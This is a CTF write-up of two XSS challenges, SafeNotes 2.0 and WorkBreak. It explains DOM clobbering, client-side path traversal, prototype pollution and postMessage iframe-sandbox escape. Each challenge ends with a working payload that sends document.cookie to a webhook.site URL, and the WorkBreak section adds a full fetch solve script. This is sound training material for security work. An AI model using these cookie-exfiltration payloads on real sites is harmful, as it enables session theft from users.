Post

SafeNotes 2.0 & WorkBreak - 1337up Live CTF 2024

A couple of XSS challenges featuring DOM clobbering and prototype pollution.

SafeNotes 2.0 & WorkBreak - 1337up Live CTF 2024

Introduction

1337up Live CTF 2024 is a CTF competition run by Intigriti. I played the CTF with my college team, Psi Beta Rho. There were a couple of XSS challenges that I solved, SafeNotes 2.0 and WorkBreak, which featured some interesting primitives like DOM clobbering and prototype pollution. This writeup will walkthrough my process of solving these challenges.

SafeNotes 2.0

SafeNotes 2.0 SafeNotes 2.0 challenge prompt.

The challenge provided a link to a deployed instance of a note-taking application (shown below) and a handout with the source code. The application allowed users to create and view notes. There was also a report page to submit to an admin bot which hinted that this challenge involved a client-side vulnerability like XSS. I first examined the source code to understand the application’s functionality. The handout contained a lot of code so I will try do highlight important parts.

SafeNotes Home Page SafeNotes 2.0 home page.

innerHTML vs outerHTML

I first examined the page allowing users to view notes looking for common sinks for XSS like innerHTML. I stumbled upon this code snippet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function fetchNoteById(noteId) {
    const decodedNoteId = decodeURIComponent(noteId);
    const sanitizedNoteId = decodedNoteId.replace(/\.\.[\/\\]/g, '');
    fetch("/api/notes/fetch/" + sanitizedNoteId, {
        method: "GET",
        headers: {
            "X-CSRFToken": csrf_token,
        },
    })
        .then((response) => response.json())
        .then((data) => {
            if (data.content) {
                document.getElementById("note-content").innerHTML =
                    DOMPurify.sanitize(data.content);
                document.getElementById("note-content-section").style.display = "block";
                showFlashMessage("Note loaded successfully!", "success");
                logNoteAccess(sanitizedNoteId, data.content);
            } else if (data.error) {
                showFlashMessage("Error: " + data.error, "danger");
            } else {
                showFlashMessage("Note doesn't exist.", "info");
            }
        });
}

We have a sink for XSS in the innerHTML assignment to note-content but the input is sanitized using DOMPurify. After doing a quick diff on the source code for purify.min.js, it matched the latest version of DOMPurify. Given then number of solves, it seemed unlikely that the challenge required using a 0-day to bypass DOMPurify. I continued to look for other sinks and stumbled upon the logNoteAccess function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function logNoteAccess(noteId, content) {
    const currentUsername = document.getElementById("username").innerText;
    const username = currentUsername || urlParams.get("name");

    const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, '');

    fetch("/api/notes/log/" + sanitizedUsername, {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
            "X-CSRFToken": csrf_token,
        },
        body: JSON.stringify({
            name: username,
            note_id: noteId,
            content: content
        }),
    })
        .then(response => response.json())
        .then(data => {
            document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2)
            document.getElementById("debug-content-section").style.display = "block";
        })
        .catch(error => console.error("Logging failed:", error));
}

What is outerHTML?!?! According to MDN, “outerHTML attribute of the Element DOM interface gets the serialized HTML fragment describing the element including its descendants. It can also be set to replace the element with nodes parsed from the given string.” This looked link an interesting XSS sink to exploit! I checked on caniuse.com and turns out my version of Chrome did not support outerHTML yet. I quickly updated to the latest version of Chrome and was able to play with the outerHTML sink in my browser’s console.

DOM Clobbering

After finding the outerHTML sink, I stumbled upon another problem on the /view page. debug-content was commented out which meant we did not have an XSS sink!

1
2
3
4
5
<!-- Remember to comment this out when not debugging!! -->
<!-- <div id="debug-content-section" style="display:none;" class="note-panel">
    <h3>Debug Information</h3>
    <div id="debug-content" class="note-content"></div>
</div> -->

Instead of relying on an existing XSS sink, what if we created our own sink? Another client-side vulnerability that is prominent is DOM clobbering! The main idea behind this vulnerability is that because of the surprising fact that certain variables and functions within JavaScript are placed on the window object, this causes a namespace collision with HTML elements such as those with id attributes which also can be referenced on the window object. In some cases, writing HTML alone without any JavaScript can be enough to gain XSS through DOM clobbering.

Returning back to the innerHTML sink, we can pass in valid HTML with an id equal to debug-content to create our own sink. This will bypass DOMPurify since the HTML itself is safe but it can be chained with this other outerHTML gadget to get XSS. I created a note with the following content:

1
2
<div id="debug-content"></div>
<div id="debug-content-section"></div>

This created our new XSS sink! The question then became where could we inject our payload? Returning back to the source code, I stumbled upon the fetchNoteById function which contained the following code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Read the current username, maybe we need to ban them?
const currentUsername = document.getElementById("username").innerText;
const username = currentUsername || urlParams.get("name");

// Just in case, it seems like people can do anything with the client-side!!
const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, '');

fetch("/api/notes/log/" + sanitizedUsername, {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-CSRFToken": csrf_token,
    },
    body: JSON.stringify({
        name: username,
        note_id: noteId,
        content: content
    }),
})

Immediately, the injection point of urlParams.get("name") stood out as a potential way we could injection our payload. The value of this was stored in the username variable only as a fallback value for currentUsername which is grabbed from the webpage and is not user-controlled. We needed a way for the value returned by document.getElementById("username").innerText to be a falsy value. This is where DOM clobbering comes into play again! We can update our payload to the following:

1
2
3
<div id="username"></div>
<div id="debug-content"></div>
<div id="debug-content-section"></div>

Our injection point is earlier in the webpage than the username element so document.getElementById("username").innerText will grab our element and return an empty string which is falsy. We then can use the urlParams.get("name") injection point to inject our payload. I then examined the server side code for /api/notes/log + sanitizedUsername.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@main.route('/api/notes/log/<username>', methods=['POST'])
def log_note_access(username):
    data = request.get_json()
    note_id = data.get('note_id')
    content = data.get('content')

    if not note_id or not username or not content:
        return jsonify({"error": "Missing data"}), 400

    log_entry = LogEntry(note_id=note_id, username=username, content=content)
    db.session.add(log_entry)
    db.session.commit()

    return jsonify({"success": "Log entry created", "log_id": log_entry.id, "note_id": note_id}), 201

The issue with this endpoing is that the value of username is not reflected during this API request meaning that although we can inject our payload, it is not sent back by the server. We needed to find a way to some how cause this fetch request to reflect our payload.

Client-Side Path Traversal (CSPT)

Returning back to the previous snippet of code, sanitizedUsername stood out as an easily bypassible filter since replace only makes a single pass through the string rather than recursively replacing all instances of the pattern. This meant we could bypass the filter using the following trick:

1
"..././".replace(/\.\.[\/\\]/g, '') // returns "../"

We can use this for a technique known as Client-Side Path Traversal (CSPT). When browsers see relative paths like ../ or ./ in URLs similar to file paths, they attempt to perform path resolution similar to the following example.

1
http://www.example.com/api/foo/../../bar -> http://www.example.com/bar

If we prepend our username with ..././, we can cause fetch to make a request to a different endpoint than /api/notes/log/<username>. The next question was, what endpoint could reflect our payload?

Injection Points

Skimming through the source code, I first thought this endpoint was promising.

1
2
3
4
5
6
@main.route('/api/notes/fetch/<note_id>', methods=['GET'])
def fetch(note_id):
    note = Note.query.get(note_id)
    if note:
        return jsonify({'content': note.content, 'note_id': note.id})
    return jsonify({'error': 'Note not found'}), 404

The issue with this endpoint is that althought it does reflect part of the contents of a request via note.content and note.id, it does not reflect the username value and also it was not a POST endpoint which is made by the fetch request. I needed to find an endpoint that handled a POST request and reflected the username value. After scouring through the source code, I stumbled upon the following endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@main.route('/contact', methods=['GET', 'POST'])
def contact():
    if request.method == 'POST':
        if request.is_json:
            data = request.get_json()
            username = data.get('name')
            content = data.get('content')

            if not username or not content:
                return jsonify({"message": "Please provide both your name and message."}), 400

            return jsonify({"message": f'Thank you for your message, {username}. We will be in touch!'}), 200

        username = request.form.get('name')
        content = request.form.get('content')

        if not username or not content:
            flash('Please provide both your name and message.', 'danger')
            return redirect(url_for('main.contact'))

        return render_template('contact.html', msg=f'Thank you for your message, {username}. We will be in touch!')

    return render_template('contact.html', msg='Feel free to reach out to us using the form below. We would love to hear from you!')

The jsonify({"message": f'Thank you for your message, {username}. We will be in touch!'}), 200 line not only reflected the username value but also was a POST endpoint, a perfect candidate for our XSS! The problem was that the username value needed to both be used for the Client-Side Path Traversal (CSPT) and to also be reflected as a valid XSS payload. The simple trick I came up with was to add a # to the middle of the username so that the part before the hash fragment contained the CSPT payload and the part after the hash fragment contained the XSS payload. I added the following to the URL which popped an alert.

1
2
3
4
5
Decoded:
name=..././..././..././/contact#<img src=x onerror=alert(1) />

Encoded:
name=...%2F.%2F...%2F.%2F...%2F.%2F/contact%23%3Cimg%20src=x%20onerror=alert(1)%20/%3E

Final Payload

Examining the admin bot source code at the /report endpoint, I found that the bot stored the flag in a non-HTTPOnly cookie which meant we could steal the flag using JavaScript. I crafted the following payload and submitted it to the admin bot to obtain the flag.

1
2
3
4
5
6
7
8
Decoded:
name=..././..././..././/contact#<img src=x onerror=fetch('https://webhook.site/ef25b9e8-724d-4f5f-bd4a-c8ce77dde46e?q='+document.cookie) />

Encoded:
name=...%2F.%2F...%2F.%2F...%2F.%2F/contact%23%3Cimg%20src=x%20onerror=fetch('https://webhook.site/ef25b9e8-724d-4f5f-bd4a-c8ce77dde46e?q='%2Bdocument.cookie)%20/%3E

Flag:
flag=INTIGRITI{54f3n0735_3_w1ll_b3_53cur3_1_pr0m153}

After the CTF was over, I reviewed the challenge author’s writeup and my solution was pretty similar to the intended path. An interesting combination of DOM clobbering and Client-Side Path Traversal (CSPT) to get XSS!

WorkBreak

Workbreak WorkBreak challenge prompt.

The challenge provided a link to a deployed instance of the application without any source code. At first, the point of the challenge was not clear since web application was pretty simple and without source code, it was hard to guess where the flag was located but after working on it for a bit, it proved to have some interesting primitives. I sadly missed submitting the flag for this challenge until after the CTF was over but wanted to write it up anyways.

Initial Investigation

After creating an account and logging in, I was greeted with a profile page that looked like the following image. There were no other pages to navigate to within the web application so I focused my attention on the profile page.

WorkBreak Profile Page WorkBreak profile page.

There was a chat feature that allowed users to interact with some bot. After some investigation, I realized this was an instance of an Admin Bot which flagged this as another client-side challenge. I started to look for XSS sinks within the webpage.

Iframe Sandbox & postMessage

After digging around on the profile page’s source code, I stumbled upon the following snippet of code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
window.onresize = () => performanceIframe.contentWindow.postMessage(userTasks, "*");

// Not fully implemented - total tasks
window.addEventListener(
    "message",
    (event) => {
        if (event.source !== frames[0]) return;

        document.getElementById(
            "totalTasks"
        ).innerHTML = `<p>Total tasks completed: ${event.data.totalTasks}</p>`;
    },
    false
);

postMessage is a method that allows for cross-origin communication between different windows or iframes. Notably, the usage of * as the target origin means that any window can receive the message which is not a best practice. Additionally, the event listener for the message event contains an innerHTML sink. performanceIframe contained some additional code itself and was sandboxed with the following attributes.

1
<iframe id="performanceIframe" class="performance-frame" src="performance.html" sandbox="allow-scripts"> </iframe>

The iframe sandbox attribute places the contents of the iframe within a null origin which always fails the check for the Same-Origin Policy (SOP). The allow-scripts value unrestricts JavaScript from executing within the iframe but it still runs in a separate origin from the top level window. This means that we can’t directly access the top level window’s DOM from within the iframe. The postMessage method is a way to communicate between the top level window and the iframe.

D3.js Sink

Within performance.html, there was a script that contained the following code.

1
2
3
4
5
6
7
8
window.addEventListener(
    "message",
    (event) => {
        if (event.source !== window.parent) return;
        renderPerformanceChart(event.data);
    },
    false
);

Inside the renderPerformanceChart function, there was a sink for XSS.

1
2
3
4
5
6
7
8
const todayTask = taskData.find((task) => task.date === today);

const todayTasksDiv = d3.select("#todayTasks");
if (todayTask) {
    todayTasksDiv.html(`Tasks Completed Today: ${todayTask.tasksCompleted}`);
} else {
    todayTasksDiv.html("Tasks Completed Today: 0");
}

The code inside this function used d3.js to render a performance chart where the todayTasksDiv element was used to display the number of tasks completed today. The call to html created a sink for XSS if we could control the taskData array which was sent from the top level window to the iframe using postMessage. The question was how could we control the taskData array?

Prototype Pollution

Returning back to the top level window’s source code, I stumbled upon the following snippet of code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const response = await fetch(`/api/user/profile/${userId}`);
const profileData = await response.json();
if (response.ok) {
    const userSettings = Object.assign(
        { name: "", phone: "", position: "" },
        profileData.assignedInfo
    );

    if (!profileData.ownProfile) {
        editButton.style.display = "none";
    } else {
        editButton.style.display = "inline-block";
    }

    emailField.value = profileData.email;
    nameField.value = userSettings.name;
    phoneField.value = userSettings.phone;
    positionField.value = userSettings.position;

    userTasks = userSettings.tasks || [];
    performanceIframe.addEventListener("load", () => {
        performanceIframe.contentWindow.postMessage(userTasks, "*");
    });
}

Notibly, this code snippet seemed to grab the tasks value from the userSettings object for userTasks but this value was always empty since the Object.assign did not contain any value for a field named tasks (so userTasks always fellback to an empty list). After playing around with the client side form code a bit, I realized that when we editing the fields in the form, any value we enter was reflected back to us in the userSettings object. But what were interesting keys that we could take advantage of? Enter prototype pollution!

Prototype pollution is a vulnerability that allows an attacker to inject properties into existing JavaScript objects. JavaScript is a prototype-based language which means that objects inherit properties and methods from a prototype. By manipulating the prototype of an object, we can control the behavior of the object and potentially exploit the application. In this case, we could pollute the userSettings object to contain a tasks key with a value of our choosing. An example of how to do this is shown in the code below.

1
2
3
4
5
6
7
let userSettings = { name: "bliutech" };

userSettings["position"] = "Security Engineer";
console.log(userSettings); // { name: "bliutech", position: "Security Engineer" }

userSettings["__proto__"]["tasks"] = ["task1", "task2"];
console.log(userSettings.tasks); // ["task1", "task2"]

From this primitive, we can use prototype pollution to control the taskData array to contain an object with the date key set to today’s date in order to trigger the XSS in the D3.js sink. The problem was that once we executed our XSS payload inside the iframe, we needed a way to escape the sandbox to return back to the top level window to steal the flag.

Final Payload

This is where I combined the two different XSS sink. The underlying idea is that because there was an event listener for the message event in the top level window, we could inject an XSS payload inside the iframe sandbox which used postMessage to send a secondary XSS payload to the top level window which would then steal the flag. From the challenge description, we knew that flag was in the chatbot’s cookies so we could steal the flag using JavaScript. My final solve script is shown below.

1
2
3
4
5
6
7
8
9
fetch("https://workbreak-1.ctf.intigriti.io/api/user/settings", {
  "headers": {
    "content-type": "application/json",
  },
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "{\"name\":\"Benson Liu\",\"phone\":\"9999999999\",\"position\":\"aaaa\", \"__proto__\": {\"tasks\": [{\"date\": \"2024-11-17\", \"tasksCompleted\": \"<img src=x onerror='window.parent.postMessage({totalTasks:\\\"<img src=x onerror=fetch(`https://webhook.site/ef25b9e8-724d-4f5f-bd4a-c8ce77dde46e?q=`+document.cookie) />\\\"},\\\"*\\\")' />\"}]}}",
  "method": "POST",
  "credentials": "include"
});

Here is the contents of the request JSON body beautified a bit for easier reading.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
    "name": "Benson Liu",
    "phone": "9999999999",
    "position": "aaaa",
    "__proto__": {
        "tasks": [{
                    "date": "2024-11-17",
                    "tasksCompleted":
                        "<img src=x onerror='
                            window.parent.postMessage(
                                {
                                    totalTasks: \"<img src=x onerror=fetch(`https://webhook.site/ef25b9e8-724d-4f5f-bd4a-c8ce77dde46e?q=`+document.cookie) />\"
                                },
                            \"*\")
                        ' />"
                }]
    }
}

I was able to receive the flag on my webhook site: SID=INTIGRITI{5up3r_u53r_535510n}. Overall, this challenge was an interesting combination of prototype pollution and using postMessage to escape an iframe sandbox.

This post is licensed under CC BY 4.0 by the author.